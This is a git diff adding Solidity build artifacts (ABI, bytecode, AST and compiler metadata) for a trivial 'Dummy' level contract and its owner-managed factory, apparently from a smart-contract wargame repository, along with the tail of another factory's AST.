DoubleEntryPoint"},"typeName":{"id":52036,"nodeType":"UserDefinedTypeName","pathNode":{"id":52035,"name":"DoubleEntryPoint","nameLocations":["1765:16:72"],"nodeType":"IdentifierPath","referencedDeclaration":51850,"src":"1765:16:72"},"referencedDeclaration":51850,"src":"1765:16:72","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"visibility":"internal"}],"src":"1739:52:72"},"returnParameters":{"id":52043,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52040,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52079,"src":"1810:4:72","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52039,"name":"bool","nodeType":"ElementaryTypeName","src":"1810:4:72","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":52042,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52079,"src":"1816:12:72","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":52041,"name":"bytes","nodeType":"ElementaryTypeName","src":"1816:5:72","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1809:20:72"},"scope":52080,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":51855,"name":"Level","nameLocations":["155:5:72"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"155:5:72"},"id":51856,"nodeType":"InheritanceSpecifier","src":"155:5:72"}],"canonicalName":"DoubleEntryPointFactory","contractDependencies":[51577,51645,51720,51850],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52080,55508,46700,48281],"name":"DoubleEntryPointFactory","nameLocation":"128:23:72","scope":52081,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":72} \ No newline at end of file diff --git a/contracts/out/Dummy.sol/Dummy.json b/contracts/out/Dummy.sol/Dummy.json new file mode 100644 index 000000000..18f3b62cf --- /dev/null +++ b/contracts/out/Dummy.sol/Dummy.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"completed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"setCompleted","inputs":[{"name":"_completed","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060cc8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80639d9a7fe9146034578063f51f4738146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6070605e3660046072565b5f805460ff1916911515919091179055565b005b5f602082840312156081575f80fd5b81358015158114608f575f80fd5b939250505056fea26469706673582212202f94ec7b55ec6c84c0ab4147d49c73013beaad07b3b53038b0cf3a86c10dbe6364736f6c63430008180033","sourceMap":"57:136:73:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b50600436106030575f3560e01c80639d9a7fe9146034578063f51f4738146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6070605e3660046072565b5f805460ff1916911515919091179055565b005b5f602082840312156081575f80fd5b81358015158114608f575f80fd5b939250505056fea26469706673582212202f94ec7b55ec6c84c0ab4147d49c73013beaad07b3b53038b0cf3a86c10dbe6364736f6c63430008180033","sourceMap":"57:136:73:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;78:21;;;;;;;;;;;;179:14:155;;172:22;154:41;;142:2;127:18;78:21:73;;;;;;;106:85;;;;;;:::i;:::-;162:9;:22;;-1:-1:-1;;162:22:73;;;;;;;;;;106:85;;;206:273:155;262:6;315:2;303:9;294:7;290:23;286:32;283:52;;;331:1;328;321:12;283:52;370:9;357:23;423:5;416:13;409:21;402:5;399:32;389:60;;445:1;442;435:12;389:60;468:5;206:273;-1:-1:-1;;;206:273:155:o","linkReferences":{}},"methodIdentifiers":{"completed()":"9d9a7fe9","setCompleted(bool)":"f51f4738"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"completed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"_completed\",\"type\":\"bool\"}],\"name\":\"setCompleted\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Dummy.sol\":\"Dummy\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"completed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"bool","name":"_completed","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"setCompleted"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Dummy.sol":"Dummy"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Dummy.sol","id":52096,"exportedSymbols":{"Dummy":[52095]},"nodeType":"SourceUnit","src":"32:162:73","nodes":[{"id":52082,"nodeType":"PragmaDirective","src":"32:23:73","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52095,"nodeType":"ContractDefinition","src":"57:136:73","nodes":[{"id":52084,"nodeType":"VariableDeclaration","src":"78:21:73","nodes":[],"constant":false,"functionSelector":"9d9a7fe9","mutability":"mutable","name":"completed","nameLocation":"90:9:73","scope":52095,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52083,"name":"bool","nodeType":"ElementaryTypeName","src":"78:4:73","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":52094,"nodeType":"FunctionDefinition","src":"106:85:73","nodes":[],"body":{"id":52093,"nodeType":"Block","src":"152:39:73","nodes":[],"statements":[{"expression":{"id":52091,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52089,"name":"completed","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52084,"src":"162:9:73","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":52090,"name":"_completed","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52086,"src":"174:10:73","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"162:22:73","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52092,"nodeType":"ExpressionStatement","src":"162:22:73"}]},"functionSelector":"f51f4738","implemented":true,"kind":"function","modifiers":[],"name":"setCompleted","nameLocation":"115:12:73","parameters":{"id":52087,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52086,"mutability":"mutable","name":"_completed","nameLocation":"133:10:73","nodeType":"VariableDeclaration","scope":52094,"src":"128:15:73","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52085,"name":"bool","nodeType":"ElementaryTypeName","src":"128:4:73","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"127:17:73"},"returnParameters":{"id":52088,"nodeType":"ParameterList","parameters":[],"src":"152:0:73"},"scope":52095,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Dummy","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52095],"name":"Dummy","nameLocation":"66:5:73","scope":52096,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":73} \ No newline at end of file diff --git a/contracts/out/DummyFactory.sol/DummyFactory.json b/contracts/out/DummyFactory.sol/DummyFactory.json new file mode 100644 index 000000000..eba9eedb2 --- /dev/null +++ b/contracts/out/DummyFactory.sol/DummyFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6104c48061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461032e565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610350565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461032e565b6101b9565b61011461024e565b61011d5f6102a7565b565b5f60405161012c9061030e565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b19190610387565b949350505050565b6101c161024e565b6001600160a01b0381166102425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024b816102a7565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610239565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60e8806103a783390190565b6001600160a01b038116811461024b575f80fd5b5f6020828403121561033e575f80fd5b81356103498161031a565b9392505050565b5f8060408385031215610361575f80fd5b823561036c8161031a565b9150602083013561037c8161031a565b809150509250929050565b5f60208284031215610397575f80fd5b81518015158114610349575f80fdfe608060405234801561000f575f80fd5b5060cc8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80639d9a7fe9146034578063f51f4738146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6070605e3660046072565b5f805460ff1916911515919091179055565b005b5f602082840312156081575f80fd5b81358015158114608f575f80fd5b939250505056fea26469706673582212202f94ec7b55ec6c84c0ab4147d49c73013beaad07b3b53038b0cf3a86c10dbe6364736f6c63430008180033a26469706673582212203eef1084593953d8aa41e0359ec7f57b2e082cbff0a9f4daaeaca9b73e59454064736f6c63430008180033","sourceMap":"107:399:74:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;107:399:74;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;107:399:74:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461032e565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610350565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461032e565b6101b9565b61011461024e565b61011d5f6102a7565b565b5f60405161012c9061030e565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b19190610387565b949350505050565b6101c161024e565b6001600160a01b0381166102425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024b816102a7565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610239565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60e8806103a783390190565b6001600160a01b038116811461024b575f80fd5b5f6020828403121561033e575f80fd5b81356103498161031a565b9392505050565b5f8060408385031215610361575f80fd5b823561036c8161031a565b9150602083013561037c8161031a565b809150509250929050565b5f60208284031215610397575f80fd5b81518015158114610349575f80fdfe608060405234801561000f575f80fd5b5060cc8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80639d9a7fe9146034578063f51f4738146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6070605e3660046072565b5f805460ff1916911515919091179055565b005b5f602082840312156081575f80fd5b81358015158114608f575f80fd5b939250505056fea26469706673582212202f94ec7b55ec6c84c0ab4147d49c73013beaad07b3b53038b0cf3a86c10dbe6364736f6c63430008180033a26469706673582212203eef1084593953d8aa41e0359ec7f57b2e082cbff0a9f4daaeaca9b73e59454064736f6c63430008180033","sourceMap":"107:399:74:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;144:144:74;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;144:144:74;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;294:210:74;;;;;;;;;;-1:-1:-1;294:210:74;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;294:210:74;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;144:144:74:-;218:7;269:11;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;254:27:74;144:144;-1:-1:-1;;144:144:74:o;294:210::-;394:4;427:14;450:9;427:33;;477:8;-1:-1:-1;;;;;477:18:74;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;470:27;294:210;-1:-1:-1;;;;294:210:74:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1733:2:155;2161:73:23::1;::::0;::::1;1715:21:155::0;1772:2;1752:18;;;1745:30;1811:34;1791:18;;;1784:62;1882:8;1862:18;;;1855:36;1908:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2140:2:155;1414:68:23;;;2122:21:155;;;2159:18;;;2152:30;2218:34;2198:18;;;2191:62;2270:18;;1414:68:23;1938:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:277::-;1316:6;1369:2;1357:9;1348:7;1344:23;1340:32;1337:52;;;1385:1;1382;1375:12;1337:52;1417:9;1411:16;1470:5;1463:13;1456:21;1449:5;1446:32;1436:60;;1492:1;1489;1482:12","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DummyFactory.sol\":\"DummyFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DummyFactory.sol":"DummyFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DummyFactory.sol","id":52146,"exportedSymbols":{"Context":[48281],"Dummy":[52095],"DummyFactory":[52145],"Level":[5550